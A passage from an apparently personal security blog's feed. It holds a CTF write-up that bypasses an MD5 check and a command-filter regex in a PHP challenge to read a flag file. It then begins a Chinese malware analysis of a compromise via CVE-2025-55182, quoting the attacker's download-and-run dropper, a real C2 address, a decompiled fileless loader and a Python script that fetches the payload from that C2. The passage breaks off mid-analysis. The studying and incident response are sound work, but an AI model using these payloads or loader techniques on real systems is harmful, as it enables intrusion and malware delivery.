        echo &quot;MD5 Not good enough\n&quot;;
        $_SESSION[&apos;collision_passed&apos;] = false;
    }
}


if(isset($_GET[&quot;polar&quot;])){
    if($_SESSION[&apos;collision_passed&apos;]) {
        if(preg_match(&apos;/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\&apos;|\]|&quot;|&amp;lt;|&amp;gt;|`|\/| |\\\\|\*/i&apos;,$_GET[&quot;polar&quot;])){
           echo &quot;gun gun !&quot;;
        } else {
            echo &quot;polar polar !&quot;;
            system($_GET[&quot;polar&quot;]);
        }
    } else {
        echo &quot;Go back, this part isn&apos;t needed\n&quot;;
    }
} else {
    show_source(__FILE__);
    echo &apos;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;a href=&quot;?logout=1&quot; style=&quot;color: #4CAF50; text-decoration: none; font-weight: bold;&quot;&amp;gt;Go home&amp;lt;/a&amp;gt;&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, bypass the MD5 check by passing &lt;code&gt;a[]=1&amp;amp;b[]=2&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST /polar.php HTTP/1.1
Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

a[]=1&amp;amp;b[]=2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The server returns:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And prompts &lt;code&gt;MD5 Well done&lt;/code&gt;, successfully bypassing. Since I used BurpSuite to send the request, I plan to use a regular browser next, so I write this cookie into the browser. Then directly access &lt;code&gt;/polar.php?polar=&lt;/code&gt; to pass commands, no need to bypass MD5 again.&lt;br /&gt;
Observing the regex filtering rules, many characters are blocked, including a series of symbols. First, try exporting environment variables with &lt;code&gt;export&lt;/code&gt;, and discover a Flag: &lt;code&gt;flag{7b93dd56-4f33-4738-b916-464a984093b3}&lt;/code&gt;, but submitting it shows it&apos;s incorrect. Asking customer service confirms this Flag is wrong.&lt;br /&gt;
Since spaces are filtered, use &lt;code&gt;$IFS$1&lt;/code&gt; or &lt;code&gt;%09&lt;/code&gt; (Tab) to bypass. Also, because &lt;code&gt;/&lt;/code&gt; is blocked, use &lt;code&gt;${PWD:0:1}&lt;/code&gt; (extract the first character of the PWD environment variable, which is &lt;code&gt;/&lt;/code&gt;) instead. Construct the request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Obtain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Discover the Flag file: &lt;code&gt;/polarflag&lt;/code&gt;. Since &lt;code&gt;fl&lt;/code&gt; is filtered, cannot directly call the filename, so use &lt;code&gt;?????????&lt;/code&gt; to match a 9-character file. Commands like &lt;code&gt;cat&lt;/code&gt;, &lt;code&gt;tail&lt;/code&gt;, &lt;code&gt;more&lt;/code&gt;, &lt;code&gt;less&lt;/code&gt; that can print content are disabled, but commands like &lt;code&gt;sort&lt;/code&gt; can still be used and also print content:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}?????????
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Obtain the Flag: &lt;code&gt;flag{polarctf1314inwebgame}&lt;/code&gt;&lt;/p&gt;
</content:encoded></item><item><title>记服务器因CVE-2025-66478,CVE-2025-55182被挂C2的逆向分析经历</title><link>https://blog.iyoroy.cn/posts/238/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/238/</guid><description>Umami 容器被入侵后，沿告警中的 Shell 脚本分析 ELF 加载器和 Go 编写的载荷，记录 C2 通信、文件上传与插件执行逻辑的逆向过程。</description><pubDate>Sat, 06 Dec 2025 15:53:00 GMT</pubDate><content:encoded>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;周六傍晚休息的时候阿里云突然给打电话，说服务器可能受到黑客入侵。上阿里云控制台看了一眼：
&lt;img src=&quot;./images/2025/12/1385012706.png&quot; alt=&quot;1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;担心的事情还是发生了，近期披露的CVE-2025-55182漏洞可以被RCE，服务器上运行的Umami统计工具使用了包含漏洞的Next.JS版本。早上的时候我手动更新了一下我的Umami，但是看起来官方还并未发布相关更新。服务器告警来源就是umami镜像，执行了一个远程的Shell脚本。&lt;br /&gt;
&lt;s&gt;作为一个CTFer，这送上门的样本不研究一下说不过去吧（&lt;/s&gt;&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;h2&gt;脚本&lt;/h2&gt;
&lt;p&gt;阿里云给出的警告可以看到执行shell脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs.com/123/python1.sh &amp;amp;&amp;amp; chmod 777 python1.sh &amp;amp;&amp;amp; ./python1.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;尝试手动下载下来那个&lt;code&gt;python1.sh&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/local/bin/
touch /usr/libexec/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/libexec/
touch /usr/bin/writeablex &amp;gt;/dev/null 2&amp;gt;&amp;amp;1 &amp;amp;&amp;amp; cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)

l64=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=l64&amp;amp;stage=true&quot;
l32=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=l32&amp;amp;stage=true&quot;
a64=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=a64&amp;amp;stage=true&quot;
a32=&quot;119.45.243.154:8443/?h=119.45.243.154&amp;amp;p=8443&amp;amp;t=tcp&amp;amp;a=a32&amp;amp;stage=true&quot;

v=&quot;042d0094tcp&quot;
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = &quot;x86_64x&quot; ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l64&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;i386x&quot; ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;i686x&quot; ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$l32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;aarch64x&quot; ]; then
    (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$a64&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
elif [ ${ARCH}x = &quot;armv7lx&quot; ]; then
    (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c &apos;import urllib;urllib.urlretrieve(&quot;http://&apos;$a32&apos;&quot;, &quot;&apos;$v&apos;&quot;)&apos;)
fi

chmod +x $v
(nohup $(pwd)/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup ./$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/bin/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/libexec/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /usr/local/bin/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;) || (nohup /tmp/$v &amp;gt; /dev/null 2&amp;gt;&amp;amp;1 &amp;amp;)
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现是根据CPU架构下载对应版本的ELF文件。&lt;/p&gt;
&lt;h2&gt;加载器&lt;/h2&gt;
&lt;p&gt;尝试手动下载上面脚本中的amd64架构的二进制，并通过IDA Pro打开：
&lt;img src=&quot;./images/2025/12/2312469940.png&quot; alt=&quot;2.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __fastcall main(int argc, const char **argv, const char **envp)
{
  struct hostent *v3; // rax
  in_addr_t v4; // eax
  int v5; // eax
  int v6; // ebx
  int v7; // r12d
  int v8; // edx
  _BYTE *v9; // rax
  __int64 v10; // rcx
  _DWORD *v11; // rdi
  _BYTE buf[2]; // [rsp+2h] [rbp-1476h] BYREF
  int optval; // [rsp+4h] [rbp-1474h] BYREF
  char *argva[2]; // [rsp+8h] [rbp-1470h] BYREF
  sockaddr addr; // [rsp+1Ch] [rbp-145Ch] BYREF
  char name[33]; // [rsp+2Fh] [rbp-1449h] BYREF
  char resolved[1024]; // [rsp+50h] [rbp-1428h] BYREF
  _BYTE v19[4136]; // [rsp+450h] [rbp-1028h] BYREF

  if ( !access(&quot;/tmp/log_de.log&quot;, 0) )
    exit(0);
  qmemcpy(name, &quot;119.45.243.154&quot;, sizeof(name));
  *(_QWORD *)&amp;amp;addr.sa_family = 4213178370LL;
  *(_QWORD *)&amp;amp;addr.sa_data[6] = 0LL;
  v3 = gethostbyname(name);
  if ( v3 )
    v4 = **(_DWORD **)v3-&amp;gt;h_addr_list;
  else
    v4 = inet_addr(name);
  *(_DWORD *)&amp;amp;addr.sa_data[2] = v4;
  v5 = socket(2, 1, 0);
  v6 = v5;
  if ( v5 &amp;gt;= 0 )
  {
    optval = 10;
    setsockopt(v5, 6, 7, &amp;amp;optval, 4u);
    while ( connect(v6, &amp;amp;addr, 0x10u) == -1 )
      sleep(0xAu);
    send(v6, &quot;l64   &quot;, 6uLL, 0);
    buf[0] = addr.sa_data[0];
    buf[1] = addr.sa_data[1];
    send(v6, buf, 2uLL, 0);
    send(v6, name, 0x20uLL, 0);
    v7 = syscall(319LL, &quot;a&quot;, 0LL);
    if ( v7 &amp;gt;= 0 )
    {
      while ( 1 )
      {
        v8 = recv(v6, v19, 0x1000uLL, 0);
        if ( v8 &amp;lt;= 0 )
          break;
        v9 = v19;
        do
          *v9++ ^= 0x99u;
        while ( (int)((_DWORD)v9 - (unsigned int)v19) &amp;lt; v8 );
        write(v7, v19, v8);
      }
      v10 = 1024LL;
      v11 = v19;
      while ( v10 )
      {
        *v11++ = 0;
        --v10;
      }
      close(v6);
      realpath(*argv, resolved);
      setenv(&quot;CWD&quot;, resolved, 1);
      argva[0] = &quot;[kworker/0:2]&quot;;
      argva[1] = 0LL;
      fexecve(v7, argva, _bss_start);
    }
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;分析发现主要的几个危险操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;v7 = syscall(319LL, &quot;a&quot;, 0LL);&lt;/code&gt;，&lt;code&gt;319&lt;/code&gt;是Linux x64架构下的&lt;code&gt;memfd_create&lt;/code&gt;系统调用，用于在内存中创建匿名文件。随后，从目标服务器下载Payload，加载到这段内存中并执行。这是一个Fileless Malware，他不会将payload存储在磁盘中，而是直接加载进内存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;*v9++ ^= 0x99u;&lt;/code&gt;，将从服务器下载到的Payload按字节异或&lt;code&gt;0x99&lt;/code&gt;，进行解密，可能是用于绕过防火墙&lt;/li&gt;
&lt;li&gt;&lt;code&gt;argva[0] = &quot;[kworker/0:2]&quot;;&lt;/code&gt;，将本进程伪装成内核的kworker进程&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其他操作：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;通过检测是否存在日志文件&lt;code&gt;/tmp/log_de.log&lt;/code&gt;，判断服务器是否已经被入侵，若已经被入侵则直接退出&lt;/li&gt;
&lt;li&gt;连接C2服务器完成或失败后会间隔10秒再次尝试连接并加载Payload&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;从上述逆向代码可很明显的看出发马的服务器IP为&lt;code&gt;119.45.243.154&lt;/code&gt;，但是端口没找到。分析一下设置端口部分的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*(_QWORD *)&amp;amp;addr.sa_family = 4213178370LL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中，&lt;code&gt;4213178370LL&lt;/code&gt;(DEC)=&lt;code&gt;0xFB200002&lt;/code&gt;(HEX)，因为是QWORD，即64位值，所以实际值为&lt;code&gt;0x00000000FB200002&lt;/code&gt;。同时因为是小端序，所以实际存储在内存的offset中的格式是&lt;code&gt;02 00 20 FB 00 00 00 00&lt;/code&gt;。&lt;br /&gt;
&lt;code&gt;sockaddr&lt;/code&gt;在内存中的offset一般是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;offset 0–1：sa_family（2 字节）&lt;/li&gt;
&lt;li&gt;offset 2–15：sa_data（14 字节）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也就是说，上述赋值语句实现了：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;offset 0: &lt;code&gt;sa_family&lt;/code&gt;的低字节=&lt;code&gt;0x02&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 1: &lt;code&gt;sa_family&lt;/code&gt;的高字节=&lt;code&gt;0x00&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 2: &lt;code&gt;sa_data[0]&lt;/code&gt;=&lt;code&gt;0x20&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 3: &lt;code&gt;sa_data[1]&lt;/code&gt;=&lt;code&gt;0xFB&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;offset 4..7: &lt;code&gt;sa_data[2..5]&lt;/code&gt;=&lt;code&gt;0x00 0x00 0x00 0x00&lt;/code&gt;
其中，&lt;code&gt;sa_data[0..1]&lt;/code&gt;代表了端口，&lt;code&gt;sa_data[2..5]&lt;/code&gt;代表IP。因为网络字节序为大端序，因此实际端口就是&lt;code&gt;0x20FB&lt;/code&gt;，即&lt;code&gt;8443&lt;/code&gt;。后面也可找到赋值IP的部分：&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;v3 = gethostbyname(name);
if ( v3 )
  v4 = **(_DWORD **)v3-&amp;gt;h_addr_list;
else
  v4 = inet_addr(name);
*(_DWORD *)&amp;amp;addr.sa_data[2] = v4;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编写一个Python脚本，按照这个加载器中的逻辑连接服务器并尝试加载Payload到ELF文件：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import socket
import time
import os

C2_HOST = &quot;119.45.243.154&quot;
C2_PORT = 8443

OUTPUT_FILE = &quot;payload.elf&quot;

def xor_decode(data):
    return bytes([b ^ 0x99 for b in data])

def main():
    # 删除旧的文件
    if os.path.exists(OUTPUT_FILE):
        os.remove(OUTPUT_FILE)

    while True:
        try:
            print(f&quot;[+] Connecting to C2 {C2_HOST}:{C2_PORT} ...&quot;)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((C2_HOST, C2_PORT))
            print(&quot;[+] Connected.&quot;)

            # Handshake
            s.send(b&quot;l64   &quot;)
            s.send(b&quot;\x20\xfb&quot;)  # fake port
            s.send(b&quot;119.45.243.154&quot;.ljust(32, b&quot;\x00&quot;))

            print(&quot;[+] Handshake sent.&quot;)
            print(f&quot;[+] Writing decrypted ELF data to {OUTPUT_FILE}\n&quot;)

            with open(OUTPUT_FILE, &quot;ab&quot;) as f:
                while True:
                    data = s.recv(4096)
                    if not data:
                        print(&quot;[-] C2 closed connection.&quot;)
                        break

                    decrypted = xor_decode(data)
                    f.write(decrypted)

                    print(f&quot;[+] Received {len(data)} bytes, written to file.&quot;)

            print(&quot;[*] Reconnecting in 10 seconds...\n&quot;)
            time.sleep(10)

        except Exception as e:
            print(f&quot;[-] Error: {e}&quot;)
            print(&quot;[*] Reconnecting in 10 seconds...\n&quot;)
            time.sleep(10)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行可得到一个ELF文件&lt;code&gt;payload.elf&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Payload.elf&lt;/h2&gt;
&lt;p&gt;先丢到微步云沙箱里检测一下，发现确实是个木马：
&lt;img src=&quot;./images/2025/12/1828954068.png&quot; alt=&quot;3.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是沙箱并未检测出一些高危行为。问了一下Reverse方向的学长，把样本发给对方研究了一下发现是Golang编写的。使用GoReSym导出符号表，并加载进IDA Pro：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\GoReSym.exe payload.elf &amp;gt; symbols.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;让AI编写一个IDA Pro的脚本导入符号表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import idc
import idaapi
import idautils

# ⚠️ 修改这里：指向你刚才生成的 symbols.json 文件路径
json_path = r&quot;D:\\Desktop\\symbols.json&quot; 

def restore_symbols():
    print(&quot;[-] Loading symbols from JSON...&quot;)
    try:
        with open(json_path, &apos;r&apos;, encoding=&apos;utf-8&apos;) as f:
            data = json.load(f)
    except Exception as e:
        print(f&quot;[!] Error opening file: {e}&quot;)
        return

    # 1. 恢复用户函数 (UserFunctions)
    count = 0
    for func in data.get(&apos;UserFunctions&apos;, []):
        start_addr = func[&apos;Start&apos;]
        # 你的 JSON 里全是混淆名字，比如 shK3zqV.O86rtPRpp
        # 我们主要关心完整的 FullName
        full_name = func[&apos;FullName&apos;]
        
        # 清理名称中 IDA 不喜欢的字符
        safe_name = full_name.replace(&quot;(&quot;, &quot;_&quot;).replace(&quot;)&quot;, &quot;_&quot;).replace(&quot;*&quot;, &quot;ptr_&quot;).replace(&quot;/&quot;, &quot;_&quot;)
        
        # 尝试重命名
        if idc.set_name(start_addr, safe_name, idc.SN_NOWARN | idc.SN_NOCHECK) == 1:
            # 可选：如果重命名成功，尝试让 IDA 重新分析该处为代码
            idc.create_insn(start_addr)
            idc.add_func(start_addr)
            count += 1
            
    print(f&quot;[+] Successfully renamed {count} functions.&quot;)

if __name__ == &quot;__main__&quot;:
    restore_symbols()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在IDA中通过&lt;code&gt;File&lt;/code&gt;-&lt;code&gt;Script file&lt;/code&gt;选择上述脚本即可导入符号表。同时，将符号表发给AI分析，发现存在一些对OSS存储桶的一些操作函数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(*Config).GetAccessKeyID&lt;/code&gt; / &lt;code&gt;GetAccessKeySecret&lt;/code&gt; / &lt;code&gt;GetSecurityToken&lt;/code&gt; -&amp;gt; &lt;strong&gt;窃取或使用云凭证&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bucket.PutObjectFromFile&lt;/code&gt; -&amp;gt; &lt;strong&gt;上传文件&lt;/strong&gt;（极可能是在窃取你服务器上的数据并上传到攻击者的 OSS Bucket）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Bucket.DoPutObject&lt;/code&gt; -&amp;gt; 执行上传操作。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(*Config).LimitUploadSpeed&lt;/code&gt; / &lt;code&gt;LimitDownloadSpeed&lt;/code&gt; -&amp;gt; 限制带宽占用，防止被你发现网络异常。&lt;/li&gt;
&lt;/ul&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;混淆后的包名&lt;/th&gt;
&lt;th&gt;真实包/功能推测&lt;/th&gt;
&lt;th&gt;证据 (Artifacts)&lt;/th&gt;
&lt;th&gt;行为描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;ojQuzc_T&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Aliyun OSS SDK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PutObjectFromFile&lt;/code&gt;, &lt;code&gt;GetAccessKeySecret&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;连接阿里云 OSS，上传/下载文件，窃取凭证。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;l2FdnE6&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;os/exec&lt;/code&gt; (命令执行)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(*Ps1Jpr8w8).Start&lt;/code&gt;, &lt;code&gt;StdinPipe&lt;/code&gt;, &lt;code&gt;Output&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;执行系统命令&lt;/strong&gt;。它在调用 Linux shell 命令。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;qzjJr5PCHfoj&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;os&lt;/code&gt; / 文件系统操作&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Readdir&lt;/code&gt;, &lt;code&gt;Chown&lt;/code&gt;, &lt;code&gt;Truncate&lt;/code&gt;, &lt;code&gt;SyscallConn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;遍历目录、修改文件权限、读写文件。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;PqV1YDIP&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;godbus/dbus&lt;/code&gt; (D-Bus)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;(*Conn).BusObject&lt;/code&gt;, &lt;code&gt;(*Conn).Eavesdrop&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;连接 Linux D-Bus。可能用于&lt;strong&gt;权限提升&lt;/strong&gt;、监控系统事件或与 &lt;code&gt;systemd&lt;/code&gt; 交互。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;c376cVel0vv&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;math/rand&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;NormFloat64&lt;/code&gt;, &lt;code&gt;Shuffle&lt;/code&gt;, &lt;code&gt;Int63&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;生成随机数。常用于生成通信密钥或挖矿算法的随机性。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;r_zJbsaQ&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;net&lt;/code&gt; (网络底层)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DialContext&lt;/code&gt;, &lt;code&gt;Listen&lt;/code&gt;, &lt;code&gt;Accept&lt;/code&gt;, &lt;code&gt;SetKeepAlive&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;建立 TCP/UDP 连接，可能是 C2 通信或作为后门监听端口。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;J9ItGl7U&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;net/http2&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;http2ErrCode&lt;/code&gt;, &lt;code&gt;WriteHeaders&lt;/code&gt;, &lt;code&gt;WriteData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;使用 HTTP/2 协议进行通信（可能用于隐藏 C2 流量）。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;&lt;code&gt;Otkxde&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ECC 密码学库&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ScalarMult&lt;/code&gt;, &lt;code&gt;Double&lt;/code&gt;, &lt;code&gt;SetGenerator&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;椭圆曲线加密。可能是为了加密 C2 通信，或者是&lt;strong&gt;勒索软件&lt;/strong&gt;的加密模块。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;可推测一些可能的程序逻辑：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;持久化与控制 (D-Bus &amp;amp; Net):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它尝试通过 &lt;code&gt;PqV1YDIP&lt;/code&gt; 包连接 D-Bus，这在服务器恶意软件中较少见，可能试图劫持系统服务或监控管理员行为。&lt;/li&gt;
&lt;li&gt;它通过 &lt;code&gt;r_zJbsaQ&lt;/code&gt; 监听端口或反弹连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;数据窃取 (Aliyun OSS):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它并没有将数据传回普通的 C2 服务器 IP，而是利用阿里云 OSS 作为“中转站”。这是一种非常聪明的做法，因为指向阿里云的流量通常会被防火墙视为白名单流量，很难被发现。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;命令执行 (os/exec):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它包含完整的 Shell 执行能力 (&lt;code&gt;l2FdnE6&lt;/code&gt;)，可以执行任意命令、下载脚本、修改文件权限。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;可能的勒索或挖矿特征:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大量的数学运算库（&lt;code&gt;Otkxde&lt;/code&gt;, &lt;code&gt;HfBi9x4DOLl&lt;/code&gt; 等包包含大量的 &lt;code&gt;Mul&lt;/code&gt;, &lt;code&gt;Add&lt;/code&gt;, &lt;code&gt;Square&lt;/code&gt;, &lt;code&gt;Invert&lt;/code&gt;）暗示了它是 &lt;strong&gt;计算密集型&lt;/strong&gt; 的。&lt;/li&gt;
&lt;li&gt;如果是&lt;strong&gt;勒索软件&lt;/strong&gt;：这些数学库用于生成密钥加密文件。&lt;/li&gt;
&lt;li&gt;如果是&lt;strong&gt;挖矿木马&lt;/strong&gt;：这些库用于计算哈希。结合它使用了 &lt;code&gt;math/rand&lt;/code&gt; 的 &lt;code&gt;Shuffle&lt;/code&gt; 和 &lt;code&gt;NormFloat64&lt;/code&gt;，这符合某些挖矿算法（如 RandomX）的特征。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;进一步分析，最终找到了这样一个函数&lt;code&gt;UXTgUQ_stlzy_RraJUM&lt;/code&gt;：
&lt;img src=&quot;./images/2025/12/3232390812.png&quot; alt=&quot;4.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;丢给AI分析，结论是：&lt;/p&gt;
&lt;p&gt;这是一个非常典型的 &lt;strong&gt;Golang 编写的 C2 (Command &amp;amp; Control) 指令分发函数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;结合你之前提供的“Linux 加载器”上下文，这个函数属于被那个加载器下载并执行的&lt;strong&gt;核心木马程序（Bot）&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;1. 代码总览与定位&lt;/h3&gt;
